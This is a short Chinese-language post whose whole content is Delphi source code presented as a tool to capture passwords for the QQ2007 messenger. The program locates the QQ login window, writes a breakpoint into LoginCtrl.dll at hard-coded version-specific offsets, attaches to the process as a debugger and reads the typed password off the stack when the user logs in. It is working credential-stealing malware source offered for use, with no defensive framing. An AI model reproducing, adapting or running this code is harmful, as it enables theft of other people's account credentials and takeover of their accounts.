一段能截取QQ2007密码的DELPHI代码

unit Unit1;

interface

uses
Windows, Classes, Controls, Forms, StdCtrls, ExtCtrls, ComCtrls, PsAPI, StrUtils, SysUtils, Messages;

type
TForm1 = class(TForm)
btn1: TButton;
Label1: TLabel;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
ProcessID: DWORD;

const
Code: DWORD = $CC;
JCode: DWORD =$8D;

implementation

{$R *.dfm}

function HexToInt(HexStr: string): Int64;
var
RetVar: Int64;
i: Byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[Length(HexStr)] = 'H' then
Delete(HexStr, Length(HexStr), 1);
RetVar := 0;
for i := 1 to Length(HexStr) do
begin
RetVar := RetVar shl 4;
if HexStr[i] in ['0'..'9'] then
RetVar := RetVar + (Byte(HexStr[i]) - 48)
else
if HexStr[i] in ['A'..'F'] then
RetVar := RetVar + (Byte(HexStr[i]) - 55)
else begin
Retvar := 0;
Break;
end;
end;
Result := RetVar;
end;

function GetMem(nOK: THANDLE; Addr: DWORD; Len: Integer = 0): string;
const FindCount = 100;
var
Buf1: array[0..FindCount] of PChar;
OK: BOOL;
nSize: DWORD;
lpNumberOfBytesRead: Cardinal;
Res, Tmp: string;
S: array[0..FindCount] of string;
i: Integer;
begin
if Len <> 0 then
begin
nSize := Len;
Buf1[0] := AllocMem(nSize);
OK := ReadProcessMemory(nOK, Pointer(Addr), Buf1[0], nSize, lpNumberOfBytesRead);
if(OK or (nSize <> lpNumberOfBytesRead)) then
begin
S[0] := '';
for i := 0 to nSize - 1 do
S[0] := S[0] + Format('%.2X', [Ord(Buf1[0][i])]);
end;
FreeMem(Buf1[0], nSize);
Tmp := S[0];
i := 1;
Res := '';

while i < Length(Tmp) do
begin
Res := Res + Chr(HexToInt(Copy(Tmp, i, 2)));
Inc(i, 2);
end;
Result := Res;
Exit;
end;
end;

procedure NewProcess;
var
I: Integer;
Count: DWORD;
ModHandles: array[0..$3FFF - 1] of DWORD;
ModInfo: TModuleInfo;
ModName: array[0..MAX_PATH] of Char;
Num: Cardinal;
Rc, OK: Boolean;
DebugD: DEBUG_EVENT;
Context: _CONTEXT;
Base: Pointer;
ProcHand: THandle;
ThreadHandle: THandle;
EAX: string;
begin
ProcHand := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessID);
if ProcHand <> 0 then
try
EnumProcessModules(ProcHand, @ModHandles, SizeOf(ModHandles), Count);
for I := 0 to (Count div SizeOf(DWORD)) - 1 do
if (GetModuleFileNameEx(ProcHand, ModHandles[I], ModName, SizeOf(ModName)) > 0) and
GetModuleInformation(ProcHand, ModHandles[I], @ModInfo, SizeOf(ModInfo)) and
(RightStr(UpperCase(ModName), 13) = 'LOGINCTRL.DLL') then
begin
if DWORD(ModInfo.EntryPoint) - DWORD(ModInfo.lpBaseOfDll) = $23C33 then //新加的针对QQ2008版
Base := Pointer(DWORD(ModInfo.lpBaseOfDll) + $16DE0);

if DWORD(ModInfo.EntryPoint) - DWORD(ModInfo.lpBaseOfDll) = $22C3A then
Base := Pointer(DWORD(ModInfo.lpBaseOfDll) + $15C90);

if DWORD(ModInfo.EntryPoint) - DWORD(ModInfo.lpBaseOfDll) = $2043A then
Base := Pointer(DWORD(ModInfo.lpBaseOfDll) + $148A3);

OK := WriteProcessMemory(ProcHand, Base, @Code, 1, Num);
if not OK then Exit;
if not DebugActiveProcess(ProcessID) then Exit;
Rc := True;
while WaitForDebugEvent(DebugD, INFINITE) do
begin
case DebugD.dwDebugEventCode of
EXIT_PROCESS_DEBUG_EVENT:
begin
Form1.Label1.Caption := '被调试进程中止';
Break;
end;

CREATE_PROCESS_DEBUG_EVENT:
begin
ThreadHandle := DebugD.CreateProcessInfo.hThread;
Form1.Label1.Caption := '请输入密码后点击登录';
end;

EXCEPTION_DEBUG_EVENT:
begin
case DebugD.Exception.ExceptionRecord.ExceptionCode of
EXCEPTION_BREAKPOINT:
begin
if Base = DebugD.Exception.ExceptionRecord.ExceptionAddress then
begin
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThreadHandle, Context);
EAX := Trim(GetMem(ProcHand, Context.Esp + $24, 20));
Form1.Label1.Caption := 'QQ密码: ' + EAX;
Rc := WriteProcessMemory(ProcHand, Pointer(DWORD(Base)), @JCode, 1, Num);
Context.Eip := DWORD(Base);
SetThreadContext(ThreadHandle, Context);
end;
end;
end;
end;
end;
if Rc then
ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_CONTINUE)
else
ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
end;
CloseHandle(ThreadHandle);
end;
finally
CloseHandle(ProcHand);
end;
end;

procedure TForm1.btn1Click(Sender: TObject);
var
h: HWND;
ThreadID: THandle;
begin
h := FindWindow(nil, 'QQ用户登录');
if h = 0 then
begin
Label1.Caption := '没有找到QQ登录框';
Exit;
end;

GetWindowThreadProcessId(h, ProcessID);
CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID);
end;
end.

end.